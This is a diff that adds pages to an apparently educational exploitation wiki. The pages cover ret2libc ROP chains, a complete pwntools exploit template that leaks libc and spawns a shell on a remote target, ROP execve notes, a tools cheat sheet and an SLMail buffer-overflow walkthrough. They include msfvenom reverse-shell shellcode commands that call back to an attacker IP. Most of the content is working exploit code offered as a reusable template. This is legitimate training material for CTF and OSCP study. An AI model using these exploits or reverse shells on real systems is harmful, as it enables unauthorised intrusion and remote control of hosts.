+In this step you don't need to execute anything as everything will be found by pwntools during the execution.
+
+## 3- Finding LIBC library
+
+Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
+
+```python
+def get_addr(func_name):
+    FUNC_GOT = elf.got[func_name]
+    log.info(func_name + " GOT @ " + hex(FUNC_GOT))
+    # Create rop chain
+    rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+
+    #Send our rop-chain payload
+    #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
+    print(p.clean()) # clean socket buffer (read all and print)
+    p.sendline(rop1)
+
+    #Parse leaked address
+    recieved = p.recvline().strip()
+    leak = u64(recieved.ljust(8, "\x00"))
+    log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
+    #If not libc yet, stop here
+    if libc != "":
+        libc.address = leak - libc.symbols[func_name] #Save libc base
+        log.info("libc base @ %s" % hex(libc.address))
+    
+    return hex(leak)
+
+get_addr("puts") #Search for puts address in memmory to obtains libc base
+if libc == "":
+    print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
+    p.interactive()
+```
+
+To do so, the most important line of the executed code is:
+
+```python
+rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+```
+
+This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.  
+Then, it will set the **address** of the gadget `POP_RDI` so the next address \(`FUNC_GOT`\) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.  
+After that, `PUTS_PLT` will be called \(with `PUTS_GOT` inside the **RDI**\) so puts will **read the content** inside `PUTS_GOT` \(**the address of puts function in memory**\) and will **print it out**.  
+Finally, **main function is called again** so we can exploit the overflow again.
+
+This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** \(which is inside **libc** library\). Now that we have that address we can **search which libc version is being used**.
+
+![](../../.gitbook/assets/image%20%2881%29.png)
+
+As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used \(just find the library in `/lib/x86_64-linux-gnu/libc.so.6`\).  
+But, in a remote exploit case I will explain here how can you find it:
+
+### 3.1- Searching for libc version \(1\)
+
+You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me/)  
+It will also allow you to download the discovered version of **libc**
+
+![](../../.gitbook/assets/image%20%2816%29.png)
+
+### 3.2- Searching for libc version \(2\)
+
+You can also do:
+
+* `$ git clone https://github.com/niklasb/libc-database.git`
+* `$ cd libc-database`
+* `$ ./get`
+
+This will take some time, be patient.  
+For this to work we need:
+
+* Libc symbol name: `puts`
+* Leaked libc adddress: `0x7ff629878690`
+
+We can figure out which **libc** that is most likely used.
+
+```text
+./find puts 0x7ff629878690
+ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
+archive-glibc (id libc6_2.23-0ubuntu11_amd64)
+```
+
+We get 2 matches \(you should try the second one if the first one is not working\). Download the first one: 
+
+```text
+./download libc6_2.23-0ubuntu10_amd64
+Getting libc6_2.23-0ubuntu10_amd64
+  -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
+  -> Downloading package
+  -> Extracting package
+  -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
+```
+
+Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
+
+### 3.3- Other functions to leak
+
+```python
+puts
+printf
+__libc_start_main
+read
+gets
+```
+
+## 4- Finding based libc address & exploiting
+
+At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
+
+So, at the begging of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
+
+Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. 
+
+Inside the `get_addr`function the **base address of libc** is going to be calculated:
+
+```python
+if libc != "":
+    libc.address = leak - libc.symbols[func_name] #Save libc base
+    log.info("libc base @ %s" % hex(libc.address))
+```
+
+Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
+
+```python
+BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
+SYSTEM = libc.sym["system"]
+EXIT = libc.sym["exit"]
+
+log.info("bin/sh %s " % hex(BINSH))
+log.info("system %s " % hex(SYSTEM))
+```
+
+Finally, the /bin/sh execution exploit is going to be prepared sent:
+
+```python
+rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
+
+p.clean()
+p.sendline(rop2)
+
+##### Interact with the shell #####
+p.interactive() #Interact with the conenction
+```
+
+Let's explain this final ROP.  
+The last ROP \(`rop1`\) ended calling again the main function, then we can **exploit again** the **overflow** \(that's why the `OFFSET` is here again\). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ \(`BINSH`\) and call **system** function \(`SYSTEM`\) because the address of _"/bin/sh"_ will be passed as a parameter.  
+Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
+
+**This way the exploit will execute a** _**/bin/sh**_ **shell.**
+
+![](../../.gitbook/assets/image%20%28255%29.png)
+
+## 4\(2\)- Using ONE\_GADGET
+
+You could also use [ONE\_GADGET ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP**.   
+However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
+
+```python
+ONE_GADGET = libc.address + 0x4526a
+rop2 = base + p64(ONE_GADGET) + "\x00"*100
+```
+
+## EXPLOIT FILE
+
+You can find a template to exploit this vulnerability here:
+
+{% page-ref page="rop-pwn-template.md" %}
+
+## Common problems
+
+### MAIN\_PLT = elf.symbols\['main'\] not found
+
+If the "main" symbol does not exist. Then you can just where is the main code:
+
+```python
+objdump -d vuln_binary | grep "\.text"
+Disassembly of section .text:
+0000000000401080 <.text>:
+```
+
+and set the address manually:
+
+```python
+MAIN_PLT = 0x401080
+```
+
+## Puts not found
+
+If the binary is not using Puts you should check if it is using
+
+### `sh: 1: %s%s%s%s%s%s%s%s: not found`
+
+If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
+
+Try to **subtract 64 bytes to the address of "/bin/sh"**:
+
+```python
+BINSH = next(libc.search("/bin/sh")) - 64
+```
+
diff --git a/exploiting/linux-exploiting-basic-esp/rop-pwn-template.md b/exploiting/linux-exploiting-basic-esp/rop-pwn-template.md
new file mode 100644
index 00000000000..2dc732ab408
--- /dev/null
+++ b/exploiting/linux-exploiting-basic-esp/rop-pwn-template.md
@@ -0,0 +1,162 @@
+# ROP-PWN template
+
+{% code title="template.py" %}
+```python
+from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64  # Import pwntools
+
+
+####################
+#### CONNECTION ####
+####################
+LOCAL = False
+REMOTETTCP = True
+REMOTESSH = False
+GDB = False
+
+LOCAL_BIN = "./vuln"
+REMOTE_BIN = "~/vuln" #For ssh
+LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
+
+if LOCAL:
+    P = process(LOCAL_BIN) # start the vuln binary
+    ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+    ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+
+elif REMOTETTCP:
+    P = remote('10.10.10.10',1339) # start the vuln binary
+    ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+    ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+
+elif REMOTESSH:
+    ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+    p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
+    elf = ELF(LOCAL_BIN)# Extract data from binary
+    rop = ROP(elf)# Find ROP gadgets
+
+if GDB and not REMOTETTCP and not REMOTESSH:
+    # attach gdb and continue
+    # You can set breakpoints, for example "break *main"
+    gdb.attach(P.pid, "b *main")
+
+
+
+##########################
+##### OFFSET FINDER ######
+##########################
+
+OFFSET = b"" #b"A"*264
+if OFFSET == b"":
+    gdb.attach(P.pid, "c") #Attach and continue
+    payload = cyclic(264)
+    payload += b"AAAAAAAA"
+    print(P.clean())
+    P.sendline(payload)
+    #x/wx $rsp -- Search for bytes that crashed the application
+    #print(cyclic_find(0x63616171)) # Find the offset of those bytes
+    P.interactive()
+    exit()
+
+
+
+#####################
+#### Find Gadgets ###
+#####################
+try:
+    libc_func = "puts"
+    PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
+except:
+    libc_func = "printf"
+    PUTS_PLT = ELF_LOADED.plt['printf']
+
+MAIN_PLT = ELF_LOADED.symbols['main']
+POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
+RET = (ROP_LOADED.find_gadget(['ret']))[0]
+
+log.info("Main start: " + hex(MAIN_PLT))
+log.info("Puts plt: " + hex(PUTS_PLT))
+log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
+log.info("ret gadget: " + hex(RET))
+
+
+#########################
+#### Finf LIBC offset ###
+#########################
+
+def generate_payload_aligned(rop):
+    payload1 = OFFSET + rop
+    if (len(payload1) % 16) == 0:
+        return payload1
+    
+    else:
+        payload2 = OFFSET + p64(RET) + rop
+        if (len(payload2) % 16) == 0:
+            log.info("Payload aligned successfully")
+            return payload2
+        else:
+            log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
+            return payload1
+
+
+def get_addr(libc_func):
+    FUNC_GOT = ELF_LOADED.got[libc_func]
+    log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
+    # Create rop chain
+    rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+    rop1 = generate_payload_aligned(rop1)
+
+    # Send our rop-chain payload
+    #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
+    print(P.clean()) # clean socket buffer (read all and print)
+    P.sendline(rop1)
+
+    # If binary is echoing back the payload, remove that message
+    recieved = P.recvline().strip()
+    if OFFSET[:30] in recieved:
+        recieved = P.recvline().strip()
+    
+    # Parse leaked address
+    log.info(f"Len rop1: {len(rop1)}")
+    leak = u64(recieved.ljust(8, b"\x00"))
+    log.info(f"Leaked LIBC address,  {libc_func}: {hex(leak)}")
+    
+    # Set lib base address
+    if LIBC:
+        LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
+        log.info("LIBC base @ %s" % hex(LIBC.address))
+
+    # If not LIBC yet, stop here
+    else:
+        print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
+        P.interactive()
+    
+    return hex(leak)
+
+get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
+
+
+
+##############################
+##### FINAL EXPLOITATION #####
+##############################
+
+BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
+SYSTEM = LIBC.sym["system"]
+EXIT = LIBC.sym["exit"]
+
+log.info("POP_RDI %s " % hex(POP_RDI))
+log.info("bin/sh %s " % hex(BINSH))
+log.info("system %s " % hex(SYSTEM))
+log.info("exit %s " % hex(EXIT))
+
+rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
+rop2 = generate_payload_aligned(rop2)
+
+
+P.clean()
+P.sendline(rop2)
+
+
+P.interactive() #Interact with your shell :)
+```
+{% endcode %}
+
diff --git a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md
new file mode 100644
index 00000000000..86502fb5787
--- /dev/null
+++ b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md
@@ -0,0 +1,51 @@
+# ROP - Syscall execv
+
+The objective is to call the **syscall \(execv\)** from a ROP controlling the value of registries: _RDI, RSI, RDX, RAX_ and obviously the _RIP_ \(the other ones doesn't matters\), and controlling somewhere to write _"/bin/sh"_
+
+* **RDI**: Pointing to the string "/bin/bash"
+* **RSI**: Null
+* **RDX**: Null
+* **RAX**: Value **0x3b** for x64 and **0xb** for x32, because this will call **execv**
+
+```bash
+ROPgadget --binary vulnbinary | grep syscall
+ROPgadget --binary vulnbinary | grep "rdi\|rsi\|rdx\|rax" | grep pop
+```
+
+## Writing
+
+If you can somehow write to an address and then get the address of where you have written then this step is unnecessary.
+
+Elsewhere, you may search for some **write-what-where**.  
+As is explained in this tutorial: [https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/](https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/) you have to find something that allows you to save some value inside a registry and then save it to some controlled address inside another registry. For example some `pop eax; ret` , `pop edx: ret` , `mov eax, [edx]`
+
+You can find mov gadgets doing: `ROPgadget --binary vulnbinary | grep mov`
+
+### Finding a place to write
+
+If you have found some **write-what-where** and can control the needed registries to call execv, there is only left finding a place to write.
+
+```bash
+objdump -x vulnbinary | grep ".bss" -B1
+                  CONTENTS, ALLOC, LOAD, DATA
+ 23 .bss          00000010  00403418  00403418  00002418  2**3
+```
+
+In this case: **0x403418**
+
+### **Writing** _**"/bin/sh"**_
+
+```text
+buffer += address(pop_eax) # place value into EAX
+buffer += "/bin"           # 4 bytes at a time
+buffer += address(pop_edx)         # place value into edx
+buffer += address(writable_memory)
+buffer += address(writewhatwhere)
+
+buffer += address(pop_eax)
+buffer += "//sh"
+buffer += address(pop_edx)
+buffer += address(writable_memory + 4)
+buffer += address(writewhatwhere)
+```
+
diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md
new file mode 100644
index 00000000000..d29cd749aad
--- /dev/null
+++ b/exploiting/tools/README.md
@@ -0,0 +1,165 @@
+# Exploiting Tools
+
+## Metasploit
+
+```text
+pattern_create.rb -l 3000   #Length
+pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
+nasm_shell.rb
+nasm> jmp esp   #Get opcodes
+msfelfscan -j esi /opt/fusion/bin/level01
+```
+
+### Shellcodes
+
+```text
+msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
+```
+
+## GDB
+
+### Install:
+
+apt-get install gdb
+
+### Parameters:
+
+**-q** --&gt; No muestra mierda inicial al ejecutar gdb  
+**-x &lt;file&gt;** --&gt; le pasas un archivo con instrucciones de gdb que ejecutará al inicio  
+**-p &lt;pid&gt;** --&gt; Attach to process
+
+#### Instructions
+
+&gt; **disassemble main** --&gt; Dissasemble the function  
+&gt; **disassemble 0x12345678**  
+&gt; **set disassembly-flavor intel**  
+&gt; **set follow-fork-mode child/parent** --&gt; Follow created process  
+&gt; **p system** --&gt; Find the address of the system function  
+&gt; **help**  
+&gt; **quit**
+
+&gt; **br func**  --&gt; Add breakpoint to function  
+&gt; **br \*func+23**  
+&gt; **br \*0x12345678  
+&gt; del NUM** --&gt; Delete that number of br  
+&gt; **watch EXPRESSION** --&gt; Break if the value changes
+
+**&gt; run** --&gt; Execute  
+**&gt; start** --&gt; Start and break in main  
+&gt; **n/next** --&gt; Execute next instruction \(no inside\)  
+&gt; **s/step** --&gt; Execute next instruction  
+&gt; **c/continue** --&gt; Continue until next breakpoint
+
+&gt; **set $eip = 0x12345678** --&gt; Change value of $eip  
+&gt; **info functions** --&gt; Info abount functions  
+&gt; **info functions func** --&gt; Info of the funtion  
+&gt; **info registers** --&gt; Value of the registers  
+&gt; **bt** --&gt; Stack  
+&gt; **bt full** --&gt; Detailed stack
+
+&gt; **print variable**  
+&gt; **print 0x87654321 - 0x12345678** --&gt; Caculate  
+&gt; **examine o/x/u/t/i/s dir\_mem/reg/puntero** --&gt; Shows content in octal/hexa/10/bin/instruction/ascii
+
+* **x/o 0xDir\_hex**
+* **x/2x $eip** --&gt; 2Words from EIP
+* **x/2x $eip -4** --&gt;  $eip - 4
+* **x/8xb $eip** --&gt; 8  bytes \(b-&gt; byte, h-&gt; 2bytes, w-&gt; 4bytes, g-&gt; 8bytes\)
+* **i r eip** --&gt; Value of $eip
+* **x/w pointer** --&gt; Value of the pointer
+* **x/s pointer** --&gt; String pointed by the pointer
+* **x/xw &pointer** --&gt; Address where the poiniter is located
+* **x/i $eip** —&gt; Instructions of the EIP
+
+### Peda
+
+**shellcode generate** x86/linux bindport 5555 127.0.0.1  
+**shellcode generate** x86/linux connect 5555 127.0.0.1  
+**checksec** --&gt; Check protections  
+**searchmem /bin/sh** --&gt; Find that string \(/bin/sh\) inside the memory
+
+### GDB server
+
+gdbserver --multi 0.0.0.0:23947 \(in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine\)
+
+## GCC
+
+**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --&gt; Compile without protections  
+**-o** --&gt; Output  
+**-g** --&gt; Save code \(GDB will be able to see it\)  
+**echo 0 &gt; /proc/sys/kernel/randomize\_va\_space** --&gt; To deactivate the ASLR in linux
+
+**To compile a shellcode:  
+nasm -f elf assembly.asm** --&gt; return a ".o"  
+**ld assembly.o -o shellcodeout** --&gt; Executable
+
+## Objdump
+
+**-d** --&gt; Disassemble executable sections \(see opcodes of a compiled shellcode, find ROP Gadgets, find function address...\)  
+**-Mintel** --&gt; Intel sintax  
+**-t** --&gt; Symbols table \(grep varBSS to get the address\)  
+**-D** --&gt; Disassemble all \(address of static variable\)  
+**-s -j .dtors** --&gt; Contenido de dtors  
+**-s -j .got** --&gt; Contenido de got  
+**-TR** --&gt; Relocations  
+**ojdump -t --dynamic-relo ./exec \| grep puts** --&gt; Address of "puts" to modify in GOT  
+**objdump -TR ./exec \| grep exit\(func lib\)** —&gt; Get address of all the functions inside the GOT
+
+## Core dumps
+
+1. Run `ulimit -c unlimited` before starting my program
+2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
+3. sudo gdb --core=&lt;path/core&gt; --quiet
+
+## More
+
+**ldd executable \| grep libc.so.6** --&gt; Address \(if ASLR, then this change every time\)  
+**for i in \`seq 0 20\`; do ldd &lt;Ejecutable&gt; \| grep libc; done** --&gt; Loop to see if the address changes a lot  
+**readelf -s /lib/i386-linux-gnu/libc.so.6 \| grep system** --&gt; Offset of "system"  
+**strings -a -t x /lib/i386-linux-gnu/libc.so.6 \| grep /bin/sh** --&gt; Offset of "/bin/sh"
+
+**strace executable** --&gt; Functions called by the executable  
+**rabin2 -i ejecutable --&gt;** Address of all the functions
+
+**/usr/share/metasploit-framework/tools/exploit/pattern\_create.rb --length 1000  
+/usr/share/metasploit-framework/tools/exploit/pattern\_offset.rb --length 1000 --query 1Ad2**
+
+## **Inmunity debugger**
+
+```text
+!mona modules    #Get protections, look for all false except last one (Dll of SO)
+!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)
+```
+
+## IDA
+
+### Debugging in remote linux
+
+Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary:
+
+```text
+./linux_server64 -Ppass
+```
+
+ Then, configure the debugger: Debugger \(linux remote\) --&gt; Proccess options...:
+
+![](../../.gitbook/assets/image%20%28112%29.png)
+
+### **Delphi binaries**
+
+I you have to reverse a Delphi binary I would suggest you tu use the IDA plugin [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)\*\*\*\*
+
+Just press **ATL+f7** \(import python plugin in IDA\) and select the python plugin.
+
+This plugin will execute the binary and resolve functoin names dynamically att the start of the debugging. After starting the debugging press again the Start button \(the green one or f9\) and a breakpoint will hit in the begining of the real code.
+
+It is also very interesting because if you press a boton in the graphic application the debugger will stop in the function executed by that bottom.
+
+### Golang binaries
+
+I you have to reverse a Golang binary I would suggest you tu use the IDA plugin [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
+
+Just press **ATL+f7** \(import python plugin in IDA\) and select the python plugin.
+
+This will resolve the names of the functions.
+
diff --git a/exploiting/tools/pwntools.md b/exploiting/tools/pwntools.md
new file mode 100644
index 00000000000..1fc99b4e277
--- /dev/null
+++ b/exploiting/tools/pwntools.md
@@ -0,0 +1,173 @@
+# PwnTools
+
+```text
+pip3 install pwntools
+```
+
+## Pwn asm 
+
+Get opcodes from line or file. 
+
+```text
+pwn asm "jmp esp" 
+pwn asm -i <filepath>
+```
+
+**Can select:** 
+
+* output type \(raw,hex,string,elf\)
+* output file context \(16,32,64,linux,windows...\)
+* avoid bytes \(new lines, null, a list\) 
+* select encoder debug shellcode using gdb run the output
+
+##   **Pwn checksec**
+
+Checksec script 
+
+```text
+pwn checksec <executable>
+```
+
+## Pwn constgrep
+
+## Pwn cyclic 
+
+Get a pattern
+
+```text
+pwn cyclic 3000
+pwn cyclic -l faad
+```
+
+**Can select:**    
+
+* The used alphabet \(lowercase chars by default\)
+* Length of uniq pattern \(default 4\)
+* context \(16,32,64,linux,windows...\)
+* Take the offset \(-l\)
+
+## Pwn debug
+
+Attach GDB to a process
+
+```text
+pwn debug --exec /bin/bash
+pwn debug --pid 1234
+pwn debug --process bash
+```
+
+**Can select:** 
+
+* By executable, by name or by pid context \(16,32,64,linux,windows...\) 
+* gdbscript to execute 
+* sysrootpath
+
+## Pwn disablenx 
+
+Disable nx of a binary  
+
+```text
+pwn disablenx <filepath>
+```
+
+## Pwn disasm 
+
+Disas hex opcodes
+
+```text
+pwn disasm ffe4
+```
+
+**Can select:** 
+
+* context \(16,32,64,linux,windows...\) 
+* base addres 
+* color\(default\)/no color
+
+## Pwn elfdiff 
+
+Print differences between 2 fiels
+
+```text
+pwn elfdiff <file1> <file2>
+```
+
+## Pwn hex 
+
+Get hexadecimal representation
+
+```bash
+pwn hex hola #Get hex of "hola" ascii
+```
+
+## Pwn phd 
+
+Get hexdump 
+
+```text
+pwn phd <file>
+```
+
+ **Can select:** 
+
+* Number of bytes to show 
+* Number of bytes per line highlight byte 
+* Skip bytes at beginning
+
+## Pwn pwnstrip 
+
+## Pwn scrable
+
+## Pwn shellcraft 
+
+Get shellcodes
+
+```text
+pwn shellcraft -l #List shellcodes 
+pwn shellcraft -l amd #Shellcode with amd in the name
+pwn shellcraft -f hex amd64.linux.sh #Create in C and run
+pwn shellcraft -r amd64.linux.sh #Run to test. Get shell 
+pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
+```
+
+**Can select:**
+
+* shellcode and arguments for the shellcode
+* Out file
+* output format
+* debug \(attach dbg to shellcode\)
+* before \(debug trap before code\) 
+* after
+* avoid using opcodes \(default: not null and new line\)
+* Run the shellcode
+* Color/no color
+* list syscalls 
+* list possible shellcodes 
+* Generate ELF as a shared library
+
+## Pwn template 
+
+Get a python template 
+
+```text
+pwn template
+```
+
+**Can select:** host, port, user, pass, path and quiet
+
+## Pwn unhex 
+
+From hex to string 
+
+```text
+pwn unhex 686f6c61
+```
+
+## Pwn update 
+
+To update pwntools
+
+```text
+pwn update
+```
+
diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
new file mode 100644
index 00000000000..8951ff4aac7
--- /dev/null
+++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
@@ -0,0 +1,259 @@
+# Windows Exploiting \(Basic Guide - OSCP lvl\)
+
+## **Start installing the SLMail service**
+
+## Restart SLMail service
+
+Every time you need to **restart the service SLMail** you can do it using the windows console:
+
+```text
+net start slmail
+```
+
+![](../.gitbook/assets/image%20%28134%29.png)
+
+## Very basic python exploit template
+
+```python
+#!/usr/bin/python
+
+import socket
+
+s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ip = '10.11.25.153'
+port = 110
+
+buffer = 'A' * 2700
+try:
+    print "\nLaunching exploit..."
+    s.connect((ip, port))
+    data = s.recv(1024)
+    s.send('USER username' +'\r\n')
+    data = s.recv(1024)
+    s.send('PASS ' + buffer + '\r\n')
+    print "\nFinished!."
+except:
+    print "Could not connect to "+ip+":"+port
+```
+
+## **Change Immunity Debugger Font**
+
+Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
+
+## **Attach the proces to Immunity Debugger:**
+
+**File --&gt; Attach**
+
+![](../.gitbook/assets/image%20%28111%29.png)
+
+**And press START button**
+
+## **Send the exploit and check if EIP is affected:**
+
+![](../.gitbook/assets/image%20%2822%29.png)
+
+Every time you break the service you should restart it as is indicated in the beginnig of this page.
+
+## Create a pattern to modify the EIP
+
+The pattern should be as big as the buffer you used to broke the service previously.
+
+![](../.gitbook/assets/image%20%28283%29.png)
+
+```text
+/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
+```
+
+Change the buffer of the exploit and set the pattern and lauch the exploit.
+
+A new crash should appeard, but with a different EIP address:
+
+![](../.gitbook/assets/image%20%2827%29.png)
+
+Check if the address was in your pattern:
+
+![](../.gitbook/assets/image%20%281%29.png)
+
+```text
+/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
+```
+
+Looks like **we can modify the EIP in offset 2606** of the buffer.
+
+Check it modifing the buffer of the exploit:
+
+```text
+buffer = 'A'*2606 + 'BBBB' + 'CCCC'
+```
+
+With this buffer the EIP crashed should point to 42424242 \("BBBB"\)
+
+![](../.gitbook/assets/image%20%28296%29.png)
+
+![](../.gitbook/assets/image%20%28336%29.png)
+
+Looks like it is working.
+
+## Check for Shellcode space inside the stack
+
+600B should be enough for any powerfull shellcode.
+
+Lets change the bufer:
+
+```text
+buffer = 'A'*2606 + 'BBBB' + 'C'*600
+```
+
+launch the new exploit and check the EBP and the length of the usefull shellcode
+
+![](../.gitbook/assets/image%20%28323%29.png)
+
+![](../.gitbook/assets/image%20%28299%29.png)
+
+You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
+
+In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
+
+## Check for bad chars
+
+Change again the buffer:
+
+```text
+badchars = (
+"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
+"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
+"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
+"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
+"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
+"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
+"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
+"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
+"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
+"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
+"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
+"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
+"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
+"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
+"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
+"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
+)
+buffer = 'A'*2606 + 'BBBB' + badchars
+```
+
+The badchars starts in 0x01 because 0x00 is almost always bad.
+
+Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
+
+For example:
+
+In this case you can see that **you shouldn't use the char 0x0A** \(nothing is saved in memory since the char 0x09\).
+
+![](../.gitbook/assets/image%20%28217%29.png)
+
+In this case you can see that **the char 0x0D is avoided**:
+
+![](../.gitbook/assets/image%20%2870%29.png)
+
+## Find a JMP ESP as a return address
+
+Using:
+
+```text
+!mona modules    #Get protections, look for all false except last one (Dll of SO)
+```
+
+You will **list the memory maps**. Search for some DLl that has:
+
+* **Rebase: False**
+* **SafeSEH: False**
+* **ASLR: False**
+* **NXCompat: False**
+* **OS Dll: True**
+
+![](../.gitbook/assets/image%20%28280%29.png)
+
+Now, inside this memory you should find some JMP ESP bytes, to do that execute:
+
+```text
+!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
+!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
+```
+
+**Then, if some address is found, choose one that don't contain any badchar:**
+
+![](../.gitbook/assets/image%20%28124%29.png)
+
+**In this case, for example:** _**0x5f4a358f**_
+
+## Create shellcode
+
+```text
+msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
